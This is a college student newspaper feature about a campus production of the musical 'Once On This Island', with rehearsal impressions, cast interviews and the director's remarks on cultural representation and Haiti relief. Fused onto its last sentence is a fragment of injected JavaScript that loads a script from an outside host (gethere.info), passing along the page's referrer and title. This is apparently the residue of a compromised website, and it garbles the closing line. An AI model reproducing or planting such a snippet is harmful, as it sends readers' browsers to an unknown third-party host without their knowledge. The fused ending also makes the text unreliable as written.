Set the Stage: “Once On This Island” Is Here

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Destiny Vasquez, Cactus Writer

It’s showtime again at CAC and the spotlight is on the colorful musical “Once On This Island” directed by Christina Marin. A musical, according to Anahi Lopez, about love, social class, heartbreak and death. I had the pleasure of visiting one of the rehearsals and saw just how hard everyone was working on the musical and the talent was dazzling. I couldn’t help but smile and admire the skill it took the cast to learn an awesome dance routine, and the powerful voices that took me by surprise. Not to mention the few scenes I got to witness which were so sublime, mind you, this was only a rehearsal but I was so happy to be sitting there watching them work, that I longed for more.

During the break time I got to interview three of the cast members all so very different but equally enthusiastic about the show. Isaac Ashcraft has had no experience acting before but has experience in a choir which shows through his powerful voice that is admirable. He is part of the ensemble so he doesn’t have any main roles except for his role as Armand who is the French man who comes to this island and establishes the social classes. Then there was Brendan Snowball, also an ensemble player who has had a lot of acting experience in high school, but this is his first semester at CAC. Snowball is choosing to make a career out of acting on the stage and finds that his favorite part is “meeting new people” with the director of the musical being one of the “amazing” new people he has met. Lastly I talked to Anahi Lopez who has had no experience on stage but I could hardly tell as I watched her. She is part of the ensemble and she was telling me how amazing it was to work with everyone who is so helpful and encouraging. She stressed to me that you don’t need any acting experience to join the Drama club, which Marin is starting up again every Tuesday at 3:00p.m. or to even audition for plays in the future. There is even a Facebook page called CAC Theater Club where they put up videos of the cast working through the musical. The hope is as Lopez says, “that some people will identify with this cast member or that cast member and get excited to come and see the show and even join the drama club”.

Director Marin is also getting pumped for the upcoming show. Professor Marin has had tons of acting and directing experience, but this is her first show at CAC. She told me that she came from private institutions like NYU and Emerson both very famous for doing theater. Then when she came to CAC she found it to be a “paradise to do theater”. She saw people here, who as she said were “open and willing to try, to take risk, and to be adventurous”.  So choosing a musical that came from Haiti where the cast was originally Black and bringing it to Arizona where the cast is mostly White and Hispanic seemed a bit challenging. Professor Marin, however saw it as a learning experience for students. She chose not to shy away from the play because “this is an educational institution, so what better place to be able to safely try in the roles and listen to the stories of other cultures, other traditions, other folklore”. She also added that because of hurricane Matthew Haiti has suffered a terrible loss and because this musical was originally from Haiti, she wanted the audience to be conscience of the devastation and to possible donate to help aid those in need.

Theater I think can send very powerful messages and it can transcend the boundaries people put between themselves, adding to new learning experiences. If you end up liking what you see or have ever been interested in theater come to the college and audition. Theater is a door way to creativity and getting involved can open up doors for you. With that said, come on down to CAC and enjoy the show, because I sure will.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;